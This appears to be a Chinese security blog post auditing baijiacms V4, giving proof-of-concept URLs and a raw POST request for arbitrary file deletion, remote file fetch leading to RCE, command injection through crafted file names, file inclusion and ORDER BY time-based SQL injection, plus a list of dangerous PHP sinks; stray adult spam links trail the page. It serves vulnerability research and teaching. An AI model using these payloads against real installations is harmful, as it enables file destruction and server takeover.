1. baijiacmsV4代碼審計(jì)!

        共 4760字,需瀏覽 10分鐘

         ·

        2021-09-25 23:33

        作者: 編輯:白帽子社區(qū)運(yùn)營(yíng)團(tuán)隊(duì)




            "白帽子社區(qū)在線CTF靶場(chǎng)BMZCTF,歡迎各位在這里練習(xí)、學(xué)習(xí),BMZCTF全身心為網(wǎng)絡(luò)安全賽手提供優(yōu)質(zhì)學(xué)習(xí)環(huán)境,鏈接(http://www.bmzclub.cn/)

        "    




        這個(gè)在此之前有大佬挖過(guò)了!最近學(xué)習(xí)代碼審計(jì)!再來(lái)學(xué)習(xí)學(xué)習(xí)!?????

        先熟悉下代碼結(jié)構(gòu)!

        代碼結(jié)構(gòu)

        addons     插件
        api        接口
        assets     靜態(tài)文件
        attachment 上傳目錄
        cache      緩存目錄
        config     系統(tǒng)配置文件
        include    系統(tǒng)文件
        system     后端代碼

        image-20210908162805942
        image-20210908164644839

        個(gè)人將他們分成兩部分!

        一部分是 system本身!另一部分是eshop


        漏洞復(fù)現(xiàn)

        任意文件刪除

        不需要admin權(quán)限

        漏洞文件位置:

        /system/eshop/core/mobile/util/uploader.php




        看上圖應(yīng)該可以知道$operation $file 都可控!

        跟進(jìn)一下:file_delete()



        $settings返回是空的!那就可以容易文件刪除了!


        poc

        /index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../flag.txt

        調(diào)試一下:


        看到直接跳過(guò)了!



        flag.txt已經(jīng)刪除了!

        任意路徑刪除

        需要后臺(tái)權(quán)限!

        system/manager/class/web/database.php


        這點(diǎn)很好看!就判斷了下 目錄是否存在!然后刪除目錄!


        poc

        /index.php?mod=site&act=manager&do=database&op=delete&id=Li8uLi8uLi90ZXRl

        刪除后:



        后臺(tái)RCE

        漏洞文件:后臺(tái)的:

        /system/public/class/web/file.php



        poc

        /index.php?mod=site&act=public&do=file&op=fetch&url=http://xxx.xxxx.xxxx/aaa/1.php

        寫(xiě)入成功:


        RCE

        漏洞文件

        /system/weixin/class/web/setting.php



        $file_full_path直接傳進(jìn)了system!我們可以通過(guò)構(gòu)造文件名來(lái)RCE!


        但是image_compress_openscale是空!我們?cè)O(shè)置一下縮放!


        設(shè)置完后:


        我自己添加了個(gè)$a!來(lái)更清晰看出值!


        poc

        convert -quality 80 D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105(2)/;calc;.txt # D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105 (2)/;calc;.txt #
        image-20210908202736215

        但是出了意外!?????


        識(shí)別了分號(hào)了!

        換成其它的管道符就行!

        poc2

        convert -quality 80 D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105 (2)/&calc;.txt #.txt D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105 (2)/&calc;.txt #.txt

        數(shù)線也不行!可能文件file_move出問(wèn)題了!


        拓展

        再看看有沒(méi)有可以挖的洞!

        任意文件刪除

        poc

        system/eshop/core/web/shop/category.php

        文件里也有:file_delete方法!而且thumb_old可控!就看怎么到這里就行了!


        關(guān)鍵繞過(guò)checksubmit函數(shù)!


        保證 $_CMS['isajax']存在就行!


        全局一下:extends.inc.php


        這就很easy了!

        poc

        POST /index.php?mod=site&do=shop&act=category&m=eshop&op=post&submit=1&id=1111&catename=aaaaaa&thumb_old=../flag.txt HTTP/1.1Host: upload.topContent-Length: 31Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1Origin: http://upload.topContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://upload.top/index.php?mod=site&do=shop&act=category&m=eshop&op=post&submit=1Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: __fileupload_type=image; __fileupload_dest_dir=; __fileupload_global=; XDEBUG_SESSION=PHPSTORM; PHPSESSID=1111Connection: close
        {"a":1,"b":2,"c":3,"d":4,"e":5}

        刪除成功!?????


        文件包含

        include $file;


        poc

        /index.php?mod=site&do=shop&act=../../core&m=eshop

        利用條件必須是php結(jié)尾的文件!還要知道php文件名和位置!

        就要早早能不能寫(xiě)入了!

        sql注入

        system/eshop/core/mobile/goods/index.php

        全局對(duì)單引號(hào)有過(guò)濾!

        但是這里有個(gè)orderby注入!

        有點(diǎn)小問(wèn)題:

        基于時(shí)間的盲注

        payload

        order by if(1=1,1,sleep(1))

        測(cè)試結(jié)果

        select * from ha order by if(1=1,1,sleep(1)); #正常時(shí)間select * from ha order by if(1=2,1,sleep(1)); #有延遲

        測(cè)試的時(shí)候發(fā)現(xiàn)延遲的時(shí)間并不是sleep(1)中的1秒,而是大于1秒。最后發(fā)現(xiàn)延遲的時(shí)間和所查詢的數(shù)據(jù)的條數(shù)是成倍數(shù)關(guān)系的。計(jì)算公式:

        延遲時(shí)間=sleep(1)的秒數(shù)*所查詢數(shù)據(jù)條數(shù)

        我所測(cè)試的ha表中有五條數(shù)據(jù),所以延遲了5秒。如果查詢的數(shù)據(jù)很多時(shí),延遲的時(shí)間就會(huì)很長(zhǎng)了。在寫(xiě)腳本時(shí),可以添加timeout這一參數(shù)來(lái)避免延遲時(shí)間過(guò)長(zhǎng)這一情況。(當(dāng)表里只有一條數(shù)據(jù)的時(shí)候不延遲)

        poc

        /index.php?mod=mobile&do=goods&act=index&m=eshop&op=get_list&order=111&random=1

        文章:

        [https://xz.aliyun.com/t/9955#toc-0](https://xz.aliyun.com/t/9955#toc-0)

        [https://www.wrpzkb.cn/rce/](https://www.wrpzkb.cn/rce/)

        [https://yang1k.github.io/post/sql%E6%B3%A8%E5%85%A5%E4%B9%8Border-by%E6%B3%A8%E5%85%A5/#%E5%9F%BA%E4%BA%8E%E6%97%B6%E9%97%B4%E7%9A%84%E7%9B%B2%E6%B3%A8](https://yang1k.github.io/post/sql%E6%B3%A8%E5%85%A5%E4%B9%8Border-by%E6%B3%A8%E5%85%A5/#%E5%9F%BA%E4%BA%8E%E6%97%B6%E9%97%B4%E7%9A%84%E7%9B%B2%E6%B3%A8)

        發(fā)現(xiàn)個(gè)有趣的

        php 5  7 都可以!
        {eval('echo 111;');} {}我記得以前剛開(kāi)始學(xué)代碼的時(shí)候老師說(shuō)過(guò)就是一種格式!里面可以放php各種東西!??
         的 我看了看手冊(cè)理解的里面是當(dāng)成可變變量了!就和$$a一樣的意思!只不過(guò)寫(xiě)成 ${$a}


        搜索關(guān)鍵函數(shù):

        命令注入

        systemexec、passthru、``、shell_exec、popen、proc_open、pcntl_exec


        跨站腳本

        echo、printprintf、vprintf、<%=$test%>

        文件包含

        includeinclude_once、requirerequire_once、show_source、highlight_file、readfile、file_get_contents、fopen、 nt>file


        代碼注入

        eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function


        SQL 注入

        insert、delete、updateselect


        文件管理

        copy、rmdir、unlinkdelete、fwrite、chmod、fgetc、fgetcsv、fgets、fgetss、file、file_get_contents、fread、readfile、ftruncate、file_put_contents、fputcsv、fputs,


        文件上傳

        move_uploaded_file

        popen 無(wú)回顯的!


        preg_replace


        call_user_func


        assert


        call_user_func_array



        往期精彩文章




        記一道有趣的“簽到”題
        php代碼審計(jì)總結(jié)
        MISC中常用python腳本
        第五空間網(wǎng)絡(luò)安全大賽 WHT WRITEUP




        技術(shù)支持:白帽子社區(qū)團(tuán)隊(duì)
        — 掃碼關(guān)注我們 






        瀏覽 23
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        評(píng)論
        圖片
        表情
        推薦
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
          
          

            1. 青草91| 在线观看欧美日韩视频 | 苍井空视频免费一区二区三区 | 她在丈夫面前被耍了伦理 | 日本黄色录像带 |